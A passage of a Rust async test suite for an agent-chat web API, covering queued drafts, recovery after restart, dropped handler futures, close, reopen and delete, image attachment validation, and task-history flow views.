9148 body["status"], "open",
9149 "filing a task does not close a talk"
9150 );
9151 let tasks = body["tasks"].as_array().expect("tasks array");
9152 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9153 assert_eq!(tasks[0]["id"], mine.id);
9154 }
9155
9156 #[tokio::test]
9157 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9158 let (_tmp, _repo, f) = talk_fixture().await;
9159 let id = f.post("/api/talks", None).await.json()["id"]
9160 .as_str()
9161 .expect("id")
9162 .to_owned();
9163
9164 let res = f
9165 .post(
9166 &format!("/api/talks/{id}/say"),
9167 Some(r#"{"text":"what does the queue module do?"}"#),
9168 )
9169 .await;
9170 assert_eq!(res.status, 202, "{}", res.body);
9171 let queued = res.json();
9172 let turns = queued["turns"].as_array().expect("turns array");
9173 assert_eq!(
9174 turns.len(),
9175 1,
9176 "the answer reflects only what is on disk the instant it is sent, \
9177 before the agent's turn - which can run for the whole of \
9178 `[graph] timeout_talk` - has a chance to land: {queued}"
9179 );
9180 assert_eq!(turns[0]["who"], "operator");
9181 assert_eq!(turns[0]["body"], "what does the queue module do?");
9182 assert_eq!(
9183 queued["thinking"], true,
9184 "the accepted response exposes the background turn claim: {queued}"
9185 );
9186
9187 let mut turns_after = 1;
9188 for _ in 0..SETTLE_STEPS {
9189 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9190 turns_after = detail["turns"].as_array().expect("turns array").len();
9191 if turns_after == 2 {
9192 break;
9193 }
9194 tokio::time::sleep(Duration::from_millis(10)).await;
9195 }
9196 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9197 }
9198
9199 #[tokio::test]
9226 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9227 let tmp = TempDir::new().expect("tempdir");
9228 let repo = tmp.path().join("repo");
9229 std::fs::create_dir_all(&repo).expect("repo dir");
9230 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9231 let home = TempDir::new().expect("temp home");
9232 let talks = Talks::at(home.path().join("talks"));
9233 let ui = Arc::new(
9234 Ui::new(
9235 Queue::at(home.path().join("queue")),
9236 Questions::at(home.path().join("questions")),
9237 talks.clone(),
9238 home.path().join("runs"),
9239 home.path().to_path_buf(),
9240 repo.clone(),
9241 )
9242 .with_worktrees_root(home.path().join("wt")),
9243 );
9244 let cfg = config_for(&repo).await.expect("discover config");
9245
9246 for delay in 0..40u32 {
9247 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9248 let id = talk.id.clone();
9249
9250 let handler = tokio::spawn(talk_say(
9251 State(Arc::clone(&ui)),
9252 Path(id.clone()),
9253 Ok(Json(NewTalkTurn {
9254 text: "what does the queue module do?".to_owned(),
9255 attachments: Vec::new(),
9256 })),
9257 ));
9258 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9259 handler.abort();
9260 let _ = handler.await;
9263
9264 let mut turns = 0;
9265 for _ in 0..SETTLE_STEPS {
9266 if let Ok(fresh) = talks.get(&id) {
9267 turns = fresh.turns.len();
9268 if turns != 1 {
9269 break;
9270 }
9271 }
9272 tokio::time::sleep(Duration::from_millis(10)).await;
9273 }
9274 assert_ne!(
9275 turns, 1,
9276 "delay {delay}: talk {id} recorded the operator's turn but \
9277 the agent never answered - the reply task was never \
9278 started after the handler future was dropped"
9279 );
9280 }
9281 }
9282
9283 #[tokio::test]
9328 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9329 let tmp = TempDir::new().expect("tempdir");
9330 let repo = tmp.path().join("repo");
9331 std::fs::create_dir_all(&repo).expect("repo dir");
9332 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9333 let home = TempDir::new().expect("temp home");
9334 let talks = Talks::at(home.path().join("talks"));
9335 let ui = Arc::new(
9336 Ui::new(
9337 Queue::at(home.path().join("queue")),
9338 Questions::at(home.path().join("questions")),
9339 talks.clone(),
9340 home.path().join("runs"),
9341 home.path().to_path_buf(),
9342 repo.clone(),
9343 )
9344 .with_worktrees_root(home.path().join("wt")),
9345 );
9346 let cfg = config_for(&repo).await.expect("discover config");
9347
9348 for attempt in 0..3u32 {
9349 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9350 let id = talk.id.clone();
9351 let turn_guard = ui
9354 .begin_talk_turn(&id)
9355 .expect("claim the turn")
9356 .expect("a fresh talk owes nobody a turn");
9357
9358 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9359 let (release_tx, release_rx) = std::sync::mpsc::channel();
9360 ui.set_busy_queue_gate(BusyQueueGate {
9361 reached: reached_tx,
9362 release: release_rx,
9363 });
9364
9365 let handler = tokio::spawn(talk_say(
9366 State(Arc::clone(&ui)),
9367 Path(id.clone()),
9368 Ok(Json(NewTalkTurn {
9369 text: "what does the queue module do?".to_owned(),
9370 attachments: Vec::new(),
9371 })),
9372 ));
9373
9374 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9379 .await
9380 .unwrap_or_else(|_| {
9381 panic!(
9382 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9383 )
9384 })
9385 .expect("the busy branch dropped the gate without using it");
9386
9387 let running = talks.get(&id).expect("reload talk");
9394 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9395
9396 handler.abort();
9400 let _ = handler.await;
9401
9402 let _ = release_tx.send(());
9408
9409 let mut fresh = talks.get(&id).expect("reload talk");
9412 for _ in 0..SETTLE_STEPS {
9413 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9414 break;
9415 }
9416 tokio::time::sleep(Duration::from_millis(10)).await;
9417 fresh = talks.get(&id).expect("reload talk");
9418 }
9419 assert!(
9420 fresh.pending.is_empty() && fresh.turns.len() == 2,
9421 "attempt {attempt}: talk {id} left the operator's text queued \
9422 with no drainer - the reclaimed turn was dropped along with \
9423 the handler future (pending {:?}, {} turns)",
9424 fresh.pending,
9425 fresh.turns.len()
9426 );
9427 }
9428 }
9429
9430 #[tokio::test]
9431 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9432 let (_tmp, _repo, f) = talk_fixture().await;
9433 let id = f.post("/api/talks", None).await.json()["id"]
9434 .as_str()
9435 .expect("id")
9436 .to_owned();
9437 let store = f.talks();
9438 let mut recovered = store.get(&id).expect("opened talk");
9439 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9440 .expect("persist pending draft without a live turn");
9441
9442 let edited = f
9443 .post(
9444 &format!("/api/talks/{id}/pending/edit"),
9445 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9446 )
9447 .await;
9448 assert_eq!(edited.status, 200, "{}", edited.body);
9449 assert!(edited.json()["thinking"].as_bool().unwrap());
9450
9451 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9452 for _ in 0..SETTLE_STEPS {
9453 if detail["turns"].as_array().expect("turns").len() == 2 {
9454 break;
9455 }
9456 tokio::time::sleep(Duration::from_millis(10)).await;
9457 detail = f.get(&format!("/api/talks/{id}")).await.json();
9458 }
9459 let turns = detail["turns"].as_array().expect("turns");
9460 assert_eq!(
9461 turns.len(),
9462 2,
9463 "the recovered draft must run once: {detail}"
9464 );
9465 assert_eq!(turns[0]["body"], "corrected");
9466 assert_eq!(detail["pending"], "");
9467 }
9468
9469 #[tokio::test]
9470 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9471 let tmp = TempDir::new().expect("tempdir");
9472 let repo = tmp.path().join("repo");
9473 std::fs::create_dir_all(&repo).expect("repo dir");
9474 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9475 let f = Fixture::with_repo(repo).await;
9476 let id = f.post("/api/talks", None).await.json()["id"]
9477 .as_str()
9478 .expect("id")
9479 .to_owned();
9480 let store = f.talks();
9481 let mut recovered = store.get(&id).expect("opened talk");
9482 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9483 .expect("persist pending draft without a live turn");
9484
9485 let refused = f
9486 .post(
9487 &format!("/api/talks/{id}/say"),
9488 Some(r#"{"text":"new message"}"#),
9489 )
9490 .await;
9491 assert_eq!(refused.status, 409, "{}", refused.body);
9492 assert!(refused.body.contains("resume"), "{}", refused.body);
9493 let saved = store.get(&id).expect("draft remains after refusal");
9494 assert!(saved.turns.is_empty());
9495 assert_eq!(saved.pending, "saved before restart");
9496
9497 let say_path = format!("/api/talks/{id}/say");
9498 let (first, second) = tokio::join!(
9499 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9500 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9501 );
9502 assert_eq!(first.status, 409, "{}", first.body);
9503 assert_eq!(second.status, 409, "{}", second.body);
9504 let saved = store
9505 .get(&id)
9506 .expect("draft remains after concurrent refusals");
9507 assert!(saved.turns.is_empty());
9508 assert_eq!(saved.pending, "saved before restart");
9509
9510 let resumed = f
9511 .post(&format!("/api/talks/{id}/pending/resume"), None)
9512 .await;
9513 assert_eq!(resumed.status, 202, "{}", resumed.body);
9514 let duplicate = f
9515 .post(&format!("/api/talks/{id}/pending/resume"), None)
9516 .await;
9517 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9518
9519 for _ in 0..SETTLE_STEPS {
9520 if store.get(&id).expect("talk").turns.len() == 2 {
9521 break;
9522 }
9523 tokio::time::sleep(Duration::from_millis(10)).await;
9524 }
9525 let finished = store.get(&id).expect("finished talk");
9526 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9527 assert_eq!(finished.turns[0].body, "saved before restart");
9528 assert!(finished.pending.is_empty());
9529 }
9530
9531 #[tokio::test]
9532 async fn an_image_only_recovered_draft_resumes_without_text() {
9533 let (_tmp, _repo, f) = talk_fixture().await;
9534 let id = f.post("/api/talks", None).await.json()["id"]
9535 .as_str()
9536 .expect("id")
9537 .to_owned();
9538 let uploaded = f
9539 .post_bytes(
9540 &format!("/api/talks/{id}/attachments"),
9541 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9542 PNG_BYTES,
9543 )
9544 .await;
9545 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9546 let attachment = f
9547 .talks()
9548 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9549 .expect("attachment metadata")
9550 .expect("stored attachment");
9551 let store = f.talks();
9552 let mut recovered = store.get(&id).expect("opened talk");
9553 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9554
9555 let resumed = f
9556 .post(&format!("/api/talks/{id}/pending/resume"), None)
9557 .await;
9558 assert_eq!(resumed.status, 202, "{}", resumed.body);
9559 for _ in 0..SETTLE_STEPS {
9560 if store.get(&id).expect("talk").turns.len() == 2 {
9561 break;
9562 }
9563 tokio::time::sleep(Duration::from_millis(10)).await;
9564 }
9565 let finished = store.get(&id).expect("finished talk");
9566 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9567 assert!(finished.turns[0].body.is_empty());
9568 assert_eq!(finished.turns[0].attachments.len(), 1);
9569 assert!(finished.pending_attachments.is_empty());
9570 }
9571
9572 #[tokio::test]
9573 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9574 let (_tmp, _repo, f) = talk_fixture().await;
9575 let id = f.post("/api/talks", None).await.json()["id"]
9576 .as_str()
9577 .expect("id")
9578 .to_owned();
9579 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9580 assert_eq!(closed.status, 200, "{}", closed.body);
9581 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9582 .expect("serialize closed talk");
9583 for (path, body) in [
9584 (format!("/api/talks/{id}/pending/resume"), None),
9585 (
9586 format!("/api/talks/{id}/pending/clear"),
9587 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9588 ),
9589 (
9590 format!("/api/talks/{id}/pending/edit"),
9591 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9592 ),
9593 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9594 ] {
9595 let response = f.post(&path, body).await;
9596 assert_eq!(response.status, 409, "{}", response.body);
9597 }
9598 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9599 .expect("serialize closed talk");
9600 assert_eq!(
9601 after_clear, before_clear,
9602 "clear must not rewrite a closed talk"
9603 );
9604 }
9605
9606 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9609
9610 #[tokio::test]
9611 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9612 let tmp = TempDir::new().expect("tempdir");
9613 let repo = tmp.path().join("repo");
9614 std::fs::create_dir_all(&repo).expect("repo dir");
9615 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9616 let f = Fixture::with_repo(repo).await;
9617 let id_a = f.post("/api/talks", None).await.json()["id"]
9618 .as_str()
9619 .unwrap()
9620 .to_owned();
9621 let id_b = f.post("/api/talks", None).await.json()["id"]
9622 .as_str()
9623 .unwrap()
9624 .to_owned();
9625
9626 let a = f
9627 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9628 .await;
9629 assert_eq!(a.status, 202, "{}", a.body);
9630 assert_eq!(a.json()["thinking"], true);
9631 let b = f
9632 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9633 .await;
9634 assert_eq!(b.status, 202, "{}", b.body);
9635 assert_eq!(b.json()["thinking"], true);
9636
9637 let listed = f.get("/api/talks").await.json();
9638 for id in [&id_a, &id_b] {
9639 let view = listed
9640 .as_array()
9641 .unwrap()
9642 .iter()
9643 .find(|talk| talk["id"] == *id)
9644 .unwrap();
9645 assert_eq!(view["thinking"], true, "{listed}");
9646 }
9647 let repeated = f
9648 .post(
9649 &format!("/api/talks/{id_a}/say"),
9650 Some(r#"{"text":"again"}"#),
9651 )
9652 .await;
9653 assert_eq!(repeated.status, 202, "{}", repeated.body);
9654 assert_eq!(repeated.json()["pending"], "again");
9655 }
9656
9657 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9660
9661 #[tokio::test]
9662 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9663 let f = Fixture::start().await;
9664 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9665
9666 let res = f
9667 .post_bytes(
9668 &format!("/api/talks/{id}/attachments"),
9669 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9670 PNG_BYTES,
9671 )
9672 .await;
9673 assert_eq!(res.status, 201, "{}", res.body);
9674 let body = res.json();
9675 assert_eq!(body["name"], "shot.png");
9676 assert_eq!(body["mime"], "image/png");
9677 assert_eq!(body["bytes"], PNG_BYTES.len());
9678 let att_id = body["id"].as_str().expect("id").to_owned();
9679 assert_eq!(
9680 att_id.len(),
9681 32,
9682 "the id must never be a client-suppliable path: {att_id}"
9683 );
9684
9685 let got = f
9686 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9687 .await;
9688 assert_eq!(got.status, 200, "{}", got.body);
9689 assert_eq!(got.header("content-type"), Some("image/png"));
9690 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9691 assert_eq!(got.bytes, PNG_BYTES);
9692 }
9693
9694 #[tokio::test]
9695 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9696 let f = Fixture::start().await;
9697 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9698
9699 let svg = f
9702 .post_bytes(
9703 &format!("/api/talks/{id}/attachments"),
9704 &[("Content-Type", "image/svg+xml")],
9705 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9706 )
9707 .await;
9708 assert!(
9709 (400..500).contains(&svg.status),
9710 "svg must be refused: {} {}",
9711 svg.status,
9712 svg.body
9713 );
9714 assert!(svg.body.contains("SVG"), "{}", svg.body);
9715
9716 let text = f
9717 .post_bytes(
9718 &format!("/api/talks/{id}/attachments"),
9719 &[("Content-Type", "text/plain")],
9720 b"just some text",
9721 )
9722 .await;
9723 assert!(
9724 (400..500).contains(&text.status),
9725 "an unlisted type must be refused: {} {}",
9726 text.status,
9727 text.body
9728 );
9729
9730 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9733 let big = f
9734 .post_bytes(
9735 &format!("/api/talks/{id}/attachments"),
9736 &[("Content-Type", "image/png")],
9737 &oversized,
9738 )
9739 .await;
9740 assert_eq!(
9741 big.status,
9742 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9743 "{}",
9744 big.body
9745 );
9746 }
9747
9748 #[tokio::test]
9749 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9750 let f = Fixture::start().await;
9751 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9752
9753 let res = f
9756 .post_bytes(
9757 &format!("/api/talks/{id}/attachments"),
9758 &[("Content-Type", "image/png")],
9759 b"<html>not a picture</html>",
9760 )
9761 .await;
9762 assert!((400..500).contains(&res.status), "{}", res.body);
9763 }
9764
9765 #[tokio::test]
9766 async fn an_unknown_attachment_id_is_a_404() {
9767 let f = Fixture::start().await;
9768 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9769
9770 let res = f
9771 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9772 .await;
9773 assert_eq!(res.status, 404, "{}", res.body);
9774 }
9775
9776 #[tokio::test]
9777 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9778 let f = Fixture::start().await;
9779 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9780
9781 let uploaded = f
9782 .post_bytes(
9783 &format!("/api/talks/{id}/attachments"),
9784 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9785 PNG_BYTES,
9786 )
9787 .await;
9788 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9789 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9790
9791 let res = f
9792 .post(
9793 &format!("/api/talks/{id}/say"),
9794 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9795 )
9796 .await;
9797 assert_eq!(res.status, 202, "{}", res.body);
9798 let queued = res.json();
9799 let turns = queued["turns"].as_array().expect("turns array");
9800 assert_eq!(
9801 turns.len(),
9802 1,
9803 "an empty body with an attachment is still a turn: {queued}"
9804 );
9805 assert_eq!(turns[0]["who"], "operator");
9806 assert_eq!(turns[0]["body"], "");
9807 let atts = turns[0]["attachments"]
9808 .as_array()
9809 .expect("attachments array");
9810 assert_eq!(atts.len(), 1);
9811 assert_eq!(atts[0]["id"], att_id);
9812 assert_eq!(atts[0]["mime"], "image/png");
9813
9814 let on_disk = f.talks().get(&id).expect("get");
9817 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9818 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9819 }
9820
9821 #[tokio::test]
9822 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9823 let f = Fixture::start().await;
9824 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9825
9826 let res = f
9827 .post(
9828 &format!("/api/talks/{id}/say"),
9829 Some(&format!(
9830 r#"{{"text":"hi","attachments":["{}"]}}"#,
9831 "a".repeat(32)
9832 )),
9833 )
9834 .await;
9835 assert!((400..500).contains(&res.status), "{}", res.body);
9836 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9837
9838 let on_disk = f.talks().get(&id).expect("get");
9839 assert!(
9840 on_disk.turns.is_empty(),
9841 "a rejected attachment id must not partially record the turn: {:?}",
9842 on_disk.turns
9843 );
9844 }
9845
9846 #[tokio::test]
9847 async fn talk_close_makes_the_talk_refuse_further_turns() {
9848 let f = Fixture::start().await;
9849 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9850
9851 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9852 assert_eq!(closed.status, 200, "{}", closed.body);
9853 assert_eq!(closed.json()["status"], "closed");
9854
9855 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9857 assert_eq!(closed_again.status, 200);
9858 assert_eq!(closed_again.json()["status"], "closed");
9859
9860 let said = f
9861 .post(
9862 &format!("/api/talks/{id}/say"),
9863 Some(r#"{"text":"too late"}"#),
9864 )
9865 .await;
9866 assert_eq!(said.status, 409, "{}", said.body);
9867 }
9868
9869 #[tokio::test]
9870 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9871 let (_tmp, _repo, f) = talk_fixture().await;
9872 let id = f.post("/api/talks", None).await.json()["id"]
9873 .as_str()
9874 .expect("id")
9875 .to_owned();
9876 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9877 assert_eq!(closed.status, 200, "{}", closed.body);
9878
9879 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9880 assert_eq!(reopened.status, 200, "{}", reopened.body);
9881 assert_eq!(reopened.json()["status"], "open");
9882
9883 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9885 assert_eq!(reopened_again.status, 200);
9886 assert_eq!(reopened_again.json()["status"], "open");
9887
9888 let said = f
9889 .post(
9890 &format!("/api/talks/{id}/say"),
9891 Some(r#"{"text":"still there?"}"#),
9892 )
9893 .await;
9894 assert_eq!(
9895 said.status, 202,
9896 "a reopened talk accepts turns again: {}",
9897 said.body
9898 );
9899 }
9900
9901 #[tokio::test]
9902 async fn talk_reopen_on_an_unknown_id_is_404() {
9903 let f = Fixture::start().await;
9904 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9905 assert_eq!(res.status, 404, "{}", res.body);
9906 }
9907
9908 #[tokio::test]
9909 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9910 let f = Fixture::start().await;
9911 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9912
9913 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9914 assert_eq!(deleted.status, 204, "{}", deleted.body);
9915
9916 let after = f.get(&format!("/api/talks/{id}")).await;
9917 assert_eq!(after.status, 404, "{}", after.body);
9918
9919 let listed = f.get("/api/talks").await.json();
9920 assert!(
9921 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9922 "a deleted talk must not linger in the list: {listed}"
9923 );
9924 }
9925
9926 #[tokio::test]
9927 async fn talk_delete_on_an_unknown_id_is_404() {
9928 let f = Fixture::start().await;
9929 let res = f.delete("/api/talks/nonexistent-id").await;
9930 assert_eq!(res.status, 404, "{}", res.body);
9931 }
9932
9933 #[tokio::test]
9937 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9938 let f = Fixture::start().await;
9939 let (a, b, gone) = (
9940 "20260902-140501-aaaa",
9941 "20260902-140502-bbbb",
9942 "20260902-140503-cccc",
9943 );
9944 write_run(&f.runs(), a, RunStatus::Stalled);
9945 let mut review = RunState::new(
9946 PathBuf::from("/repo/magi"),
9947 "main".to_owned(),
9948 "0123456789abcdef".to_owned(),
9949 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9950 .to_owned(),
9951 Config::default(),
9952 );
9953 review.id = b.to_owned();
9954 review.status = RunStatus::Merged;
9955 write_state(&f.runs(), &review);
9956
9957 let mut task = Task::new(
9958 "retry".to_owned(),
9959 "Do the thing".to_owned(),
9960 PathBuf::from("/repo/magi"),
9961 Source::Human,
9962 );
9963 task.start(a.to_owned());
9964 task.stall("quota");
9965 task.start(a.to_owned());
9966 task.start(b.to_owned());
9967 task.start(gone.to_owned());
9968 f.queue().put(&mut task).expect("file the task");
9969
9970 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9971 assert_eq!(res.status, 200, "{}", res.body);
9972 let v = res.json();
9973 let h = v["history"].as_array().expect("history");
9974 assert_eq!(h.len(), 4, "{v}");
9975 assert_eq!(h[0]["kind"], "competition");
9976 assert_eq!(h[0]["status"], "stalled");
9977 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9978 assert_eq!(h[1]["kind"], "resume", "{v}");
9979 assert!(
9980 h[0]["outcome"]
9981 .as_str()
9982 .unwrap()
9983 .contains("unknown. Pass #2"),
9984 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9985 );
9986 assert!(
9987 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9988 "{v}"
9989 );
9990 assert!(
9991 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9992 "an unrecorded cause must not be narrated as an operator park: {v}"
9993 );
9994 assert_eq!(h[2]["kind"], "review");
9995 assert!(
9996 h[2]["description"]
9997 .as_str()
9998 .unwrap()
9999 .contains("magi/aaaa/A")
10000 );
10001 assert_eq!(h[2]["status"], "merged");
10002 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10003 assert_eq!(v["runs_unreadable"], 1);
10004 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10005 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10006 assert_eq!(nodes[4]["note"], "unreadable");
10007 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10008 assert_eq!(v["instruction"], "Do the thing");
10009 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10010
10011 let run = f.get(&format!("/api/runs/{a}")).await.json();
10013 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10014
10015 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10016 }
10017
10018 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10019 let mut s = RunState::new(
10020 PathBuf::from("/repo/magi"),
10021 "main".to_owned(),
10022 "0123456789abcdef".to_owned(),
10023 "Do it".to_owned(),
10024 Config::default(),
10025 );
10026 s.status = status;
10027 edit(&mut s);
10028 s
10029 }
10030
10031 fn flow_task(runs: &[&str]) -> Task {
10032 let mut t = Task::new(
10033 "t".to_owned(),
10034 "Do it".to_owned(),
10035 PathBuf::from("/repo/magi"),
10036 Source::Human,
10037 );
10038 for r in runs {
10039 t.start((*r).to_owned());
10040 }
10041 t
10042 }
10043
10044 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10045 let h = task_history(task, |id| {
10046 states
10047 .iter()
10048 .find(|(i, _)| *i == id)
10049 .and_then(|(_, s)| s.clone())
10050 });
10051 task_flow(task, &h, 5)
10052 }
10053
10054 #[test]
10055 fn flow_opens_with_the_chat_that_queued_the_task() {
10056 let mut t = flow_task(&[]);
10057 t.source = Source::Agent {
10058 run: "a b/c".to_owned(),
10059 node: crate::queue::CHAT_NODE.to_owned(),
10060 };
10061 let f = flow_for(&t, &[]);
10062 assert_eq!(f.nodes[0].key, "chat");
10063 assert_eq!(f.nodes[0].kind, "chat");
10064 assert_eq!(
10065 f.nodes[0].label,
10066 format!("Chat {}", crate::queue::short("a b/c"))
10067 );
10068 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10069 assert_eq!(f.nodes[1].key, "start");
10070 assert_eq!(
10071 f.edges[0],
10072 FlowEdge {
10073 from: "chat".to_owned(),
10074 to: "start".to_owned(),
10075 label: "queued from chat".to_owned(),
10076 attempt: AttemptCost::None,
10077 }
10078 );
10079 }
10080
10081 #[test]
10082 fn flow_has_no_chat_box_for_other_sources() {
10083 for source in [
10084 Source::Human,
10085 Source::Issue {
10086 number: 3,
10087 repo: "o/r".to_owned(),
10088 },
10089 Source::Agent {
10090 run: "20260904-014455-ab12".to_owned(),
10091 node: "implement".to_owned(),
10092 },
10093 ] {
10094 let mut t = flow_task(&[]);
10095 t.source = source;
10096 let f = flow_for(&t, &[]);
10097 assert_eq!(f.nodes[0].key, "start");
10098 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10099 assert!(f.edges.iter().all(|e| e.from != "chat"));
10100 }
10101 }
10102
10103 const FA: &str = "20260902-140501-aaaa";
10104 const FB: &str = "20260902-140502-bbbb";
10105
10106 #[test]
10107 fn flow_follows_blocked_retry_merged_to_done() {
10108 let mut t = flow_task(&[FA, FB]);
10109 t.status = TaskStatus::Done;
10110 let f = flow_for(
10111 &t,
10112 &[
10113 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10114 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10115 ],
10116 );
10117 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10118 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10119 assert_eq!(f.edges.len(), 3);
10120 assert_eq!(f.edges[0].label, "claimed");
10121 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10122 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10123 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10124 assert_eq!(
10125 f.nodes[2].href.as_deref(),
10126 Some("#/runs/20260902-140502-bbbb")
10127 );
10128 assert!(f.nodes[2].decided);
10129 }
10130
10131 #[test]
10132 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10133 let quota = || {
10134 flow_run(RunStatus::Stalled, |s| {
10135 s.quota.push(crate::run::QuotaLoss {
10136 seat: "judge-1".to_owned(),
10137 node: "judge".to_owned(),
10138 at: Timestamp::now(),
10139 reset: None,
10140 })
10141 })
10142 };
10143 let mut t = flow_task(&[FA, FA]);
10144 t.status = TaskStatus::Queued;
10145 let f = flow_for(&t, &[(FA, Some(quota()))]);
10146 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10147 assert_eq!(f.nodes[1].note, Some("interrupted"));
10148 assert_eq!(
10149 f.nodes[1].status, None,
10150 "no outcome copied onto an earlier pass"
10151 );
10152 assert_eq!(
10153 f.edges[1].attempt,
10154 AttemptCost::Unknown,
